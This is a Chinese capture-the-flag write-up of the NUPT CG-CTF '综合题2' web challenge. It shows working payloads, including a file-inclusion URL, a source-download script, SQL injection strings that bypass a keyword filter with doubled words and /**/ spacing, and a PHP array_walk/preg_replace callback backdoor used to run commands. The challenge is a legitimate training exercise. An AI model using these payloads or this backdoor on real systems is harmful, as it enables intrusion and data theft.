CG-CTF 综合题(2) writeup

前言

这两天在做南邮 ctf 平台的题,学到了不少新知识,拓展了一些思路。

刚做到了综合题2,做了蛮久,虽然不是很难,但感觉是挺有意思的一道题,于是准备写下我的第一篇writeup。

这道题涉及到 sql injection,文件包含,请求头以及回调后门,偏向于简单的渗透。

- 南邮CTF训练平台:https://cgctf.nuptsast.com/

- 题目地址:http://cms.nuptzj.cn/

信息搜集

进入这道题发现是一个客户留言板,在想会不会是XSS,往下看有个链接 “本CMS说明”,点进去看看。

看一下url:cms.nuptzj.cn/about.php?file=index.php

可能存在文件包含,用来读取提示的那些文件的代码。

网上看到一个下载提示文件的python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import codecs
from bs4 import BeautifulSoup
url="http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]
for i in file_list:
res = requests.get(url+i)
print("dowload "+i)
if res.status_code==200:
res.encoding="utf8"
with codecs.open(i,"w+","utf8") as handle:
print("done")
text = BeautifulSoup(res.text,"lxml").text
handle.write(text)
---------------------
作者:mylyylmy
来源:CSDN
原文:https://blog.csdn.net/mylyylmy/article/details/79885143

其实也可以直接在网页看代码。

还提示了数据库表结构,所以推测是用sql注入获取账号密码,那我们还要找到后台页面才行。

先通过读源码获取信息

从passencode.php看出将用户的密码存储为了ASCii码格式

其他的提示php文件代码中也没发现什么,这时突然想起没有读这个about.php本身的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file = $_GET['file'];
if ($file == "" || strstr($file, 'config.php'))
{
echo "file参数不能为空!";exit();
} else {
$cut = strchr($file, "loginxlcteam");
if ($cut == false) {
$data = file_get_contents($file);
$date = htmlspecialchars($data);
echo $date;} else {echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

从中发现了敏感目录 loginxlcteam,看名字应该就是后台登陆页面了,直接打开

接下来要找sql注入的位置了,回到首页发现有个留言搜索(输入ID)的位置,应该会传参数,输入个1,点搜索到了这个页面

根据提示信息,应该是User-Agent头信息不满足

用前文的文件包含看一下so.php的源码

发现了User-Agent头应该设置为 Xlcteam Browser,

发现了构造的sql语句为SELECT * FROM 'message' WHERE display=1 AND id=$id

且这个id使用post传递soid参数赋值的

还发现了包含文件 ‘antiinject.php’ 看文件名应该是防sql注入的

SQL注入

通过上一步,我们搜集到了sql注入需要的一些信息,这里我们先看一下sql语句的过滤文件antiinject.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function antiinject($content) {

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

$info = strtolower($content);

for ($i = 0; $i <= count($keyword); $i++) {
$info = str_replace($keyword[$i], '', $info);
}

return $info;
}
?>

发现过滤了一些敏感词汇,可以使用双重绕过:SELselectECT => SELECT

空格也被过滤了,可以使用/**/代表空格

在构造payload时可以使用也被过滤的 “=” 来截断需要使用的敏感词汇

先用order by语句获知列数为4,构造语句查看回显情况

soid=0/**/UNunionION/**/SELselectECT/**/1,2,3,4

构造payload soid=0/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

得到后台账户admin及它的ASCII码password 102 117 99 107 114 117 110 116 117

解码得到后台登录密码

fuckruntu

回调函数

用拿到的账户密码登录后台发现还没有拿到flag,而是得到了新的信息,网站根目录下已经被上传了小马xlcteam.php

继续用开头的文件包含看源码

1
2
3
4
5
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这是个三参数数组回调后门

回调后门利用了php中包含回调函数参数的函数

具体用法可以参考 phith0n师傅在乌云知识库中的文章 创造tips的秘籍——PHP回调后门

在 p师傅 的文章中发现了类似的使用:

这里可以尝试做相同的传参操作

1
2
?www=preg_replace
wtf=phpinfo();

最后使用scandir() 函数列出当前目录下的文件名并打印

1
2
?www=preg_replace
wtf=print_r(scandir('.'))

得到flag文件名 “恭喜你获得flag2.txt”

用文件包含读取这个文件得到flag!

总结

之前做前面的题时没啥思路总爱看别人的writeup,自己做题时一头雾水,现在好像了解了一些简单的套路。

这道题其实每一步都不是很难,只不过把多个思路结合到一起了,所以对我这种萌新而言蛮耗时间了。

像sql注入那里双写就绕过了,也没有过滤逗号,看到一些师傅在博客上写了脚本,大家可以去参考一下。

做前面的题时还学到了许多其他的知识,这两天做完剩下的几道题就总结一下。

Reference